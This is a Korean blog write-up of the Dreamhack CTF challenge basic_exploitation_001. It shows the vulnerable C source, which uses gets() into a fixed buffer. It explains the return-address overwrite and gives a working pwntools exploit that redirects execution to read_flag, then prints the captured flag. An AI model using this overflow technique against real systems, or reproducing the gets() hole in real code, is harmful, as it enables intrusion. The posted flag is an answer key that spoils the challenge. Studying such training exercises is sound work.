시스템 해킹/드림핵

[Dreamhack] basic_exploitation_001

L3m0n S0ju 2021. 4. 11. 17:31

 

 


 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {
    char buf[0x80];
    initialize();
    gets(buf);
    return 0;
}

 


위 코드는 문제에서 주어진 코드이다. 해당 코드의 취약점은 gets라는 취약함 함수를 사용함에 문제가 있다. gets 함수는 입력값의 제한이 없으므로 main 함수의 ret에 read_flag 함수의 시작 주소를 덮어씌우면 플래그가 출력된다.

 

 


 

#!/usr/bin/python

 

from pwn import *

 

context.log_level='debug'

r=remote("host1.dreanhack.games",10074)

 

payload1=b"A"*132

payload2=p32(0x080485b9)

payload=payload1+payload2

 

r.send(payload)

r.interactive()

 


 

위 코드는 exploit 코드이다. payload2는 read_flag 함수의 주소 값으로 gdb에서 disas read_flag 명령어를 입력하면 해당 함수의 시작 주소를 알 수 있다.

 

 

 

 


플래그: DH{01ec06f5e1466e44f86a79444a7cd116}